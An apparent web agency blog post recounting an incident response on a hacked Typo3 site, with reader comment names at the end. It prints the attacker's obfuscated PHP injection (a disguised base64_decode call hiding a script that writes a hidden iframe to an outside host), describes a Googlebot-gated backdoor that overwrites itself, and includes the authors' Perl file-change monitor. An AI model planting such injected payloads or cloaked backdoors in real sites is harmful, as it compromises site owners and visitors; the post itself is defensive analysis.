Finding a clever hacker
A client of ours recently reported being hacked. They were running on a Typo3 system, and some person had injected an iframe into their site code. On first investigation by their development team they found one of the typo3 source-files was adapted to put in the iframe.
The code looked like this:
echo $s.call_user_func('b'.''.'a'.''.'s'.''.'e'.''.'6'.''.'4'.''.'_'.''.'d'.''.'e'.''.'c'.''.'o'.''.'d'.''.'e','PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmRvY3VtZW50LndyaXRlKCdcdTAwM2NcdTAwNjlcdTAwNjZcdTAwNzJcdTAwNjFcdTAwNmRcdTAwNjVcdTAwMjBcdTAwNzNcdTAwNzJcdTAwNjNcdTAwM2RcdTAwNjhcdTAwNzRcdTAwNzRcdTAwNzBcdTAwM2FcdTAwMmZcdTAwMmZcdTAwNzdcdTAwNzdcdTAwNzdcdTAwMmVcdTAwNjFcdTAwNmNcdTAwNjVcdTAwNzhcdTAwNjFcdTAwMmRcdTAwNzJcdTAwNjFcdTAwNmVcdTAwNmJcdTAwMmVcdTAwNjlcdTAwNmVcdTAwNjZcdTAwNmZcdTAwMmZcdTAwNmNcdTAwNjlcdTAwNjJcdTAwNzJcdTAwNjFcdTAwNzJcdTAwNjlcdTAwNjVcdTAwNzNcdTAwMmZcdTAwNjlcdTAwNjZcdTAwNzJcdTAwNjFcdTAwNmRcdTAwNjVcdTAwMmVcdTAwNzBcdTAwNjhcdTAwNzBcdTAwMjBcdTAwNzNcdTAwNzRcdTAwNzlcdTAwNmNcdTAwNjVcdTAwM2RcdTAwMjJcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzBcdTAwNmNcdTAwNjFcdTAwNzlcdTAwM2FcdTAwNmVcdTAwNmZcdTAwNmVcdTAwNjVcdTAwMjJcdTAwM2VcdTAwM2NcdTAwMmZcdTAwNjlcdTAwNjZcdTAwNzJcdTAwNjFcdTAwNmRcdTAwNjVcdTAwM2UnKTs8L3NjcmlwdD4=').$s."\n";
This was a Base64 encoded string, and when decoded it printed the following code to the browser
<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0061\u006c\u0065\u0078\u0061\u002d\u0072\u0061\u006e\u006b\u002e\u0069\u006e\u0066\u006f\u002f\u006c\u0069\u0062\u0072\u0061\u0072\u0069\u0065\u0073\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068\u0070\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');</script>
Which, on it’s turn, printed the following HTML:
<iframe src=http://www.alexa-rank.info/libraries/iframe.php style="display:none"></iframe>
So the hacker had done his homework and knew how to hide a piece of code. Luckily the client’s development team knew Typo3 well enough to find the code. They couldn’t find the way the hacker got in though, so they came to us.
When a client reports a hack we normally go through a 3 step plan:
- Damage Control
- Detection
- Prevention
Damage Control
Damage control means we look at the damage (what and how much is compromised), and see if the hacker is still active (are there still processes of him running, do we see anything suspicious). In this case the damage seemed slight. Except for the iframe code we didn’t see any problems. No funny processes running, nothing listening on unknown ports. The server itself didn’t seem compromised either (Ran lots of rootkit-detectors).
Detection
Detection means finding how the hacker did it, where he came from, who he is, why he did it.
The hacker seemed to be someone who knew what he was doing, or an amateur with damn good tools. One of the things he did was change the “last modified date” of the file he changed to somewhere in the past.
Because of that, we had no idea when the file got changed, so we had to dig into the log-files with quite a big timeframe (We knew the last backup wasn’t compromised, and the client first encountered the iframe approximately 12 hours later). Because this gave us about 40,000 access_log lines, we had no choice but to look for usual suspects. (The system-logs didn’t bring out anything peculiar)
First we looked for external page inclusion (http://url.tld/index.php?page=http://hacker-site.com/hack-script.php). Nothing there. Next up was looking for SQL injection. We did a search in the GET parameters for some interesting keywords (SELECT, INSERT, REPLACE, SHOW, UPDATE), but nothing came up. Finally we looked at some POST requests to see if we got any irregularities. Nothing found. Damn!
Since we couldn’t detect anything in the logs, we went for a new way: wait until he comes back. We monitored the directory with a small perl script, waiting for changes in files, warning us if something changed. This way we’d find him if he showed up.
#!/usr/bin/perl
# No hacker, it's Jan!
use Linux::Inotify2; # Inotify - Something baked in the kernel
my $pid = fork(); # Fork
if($pid == 0) { # Forked process
$0 = "/usr/bin/php5-cgi"; # Act as php5-cgi, so the hacker won't spot me
my $inotify = new Linux::Inotify2;
@files_to_watch = `find /home/client/ -type d`; # All directories I need to watch
foreach (@files_to_watch) {
chop($_);
$inotify->watch($_, IN_MODIFY) or die "Watch creation failed: $!" ; # Take a look at the directory for file changes
}
while () { # Loop forever
my @events = $inotify->read;
$event = shift($events);
$name = $event->name; # Filename
chop($now = `date`); # Now (date)
`echo $now - $name >> /tmp/changelog` if ($name !~ /.*\.log/ && $name !~ /.*\.gif/ && $name !~ /.*\.pid/ && $name !~ /.*\.csv/ ); # Add to logfile unless filename is .log, .gif, .csv or .pid
}
}
And showing up he did. In my logs I found:
Fri Jun 22 16:07:54 CEST 2007 - class.tx_ttnews.php
Aha! A date!. When I looked up the date in the apache logs I found this:
256.123.21.2 - - [22/Jun/2007:16:07:54 +0200] "POST /typo3conf/ext/tt_products/license.php HTTP/1.1" 200 63952 "-" "Googlebot/2.1 ( http://www.googlebot.com/bot.shtml)"
At first I disregarded this hit because it was Googlebot, but when I took a closer look I saw POST.. Googlebot doesn’t use POST.. This isn’t right. I looked at the file on the server (/typo3conf/ext/tt_products/license.php), which seemed to be some PHP hacking page. I surfed to it and I got a regular GNU License page. When I opened the file again, it was a regular GNU License page.. was I dreaming?! I retrieved the file from the nightly backup and opened it.. it was the PHP file again.. In the file there was a condition on $SERVER[’HTTPAGENT’] that had to be “Googlebot/2.1 ( http://www.googlebot.com/bot.shtml)”, or else it should overwrite itself with a license.. Nifty!
Now that I knew how the hacker changed the pages, I could find him in the logs. I could trace back how he got in, how the file got in, because I had an IP and a User-Agent to look for. With some fancy googling, I also found the bugreport (which wasn’t present at the moment of the first hack)
Prevention
Now we knew who the hacker was and how he got in, we fixed the leaks (typo3 extension update), changed the passwords, and tracked all other files he might have manipulated. The monitoring script is still running for future hacks.
The person who hacked this site was smart, but with skill, we were able to find him, and find the way he sneaked in. We were proud of ourself, and the client is happy.
5 Reactie(s)
Leo Eraly | 24/08/2007
Koen | 25/08/2007
CPF_ | 25/08/2007
Bernard Grymonpon | 25/08/2007
Serge Vleugels | 30/08/2007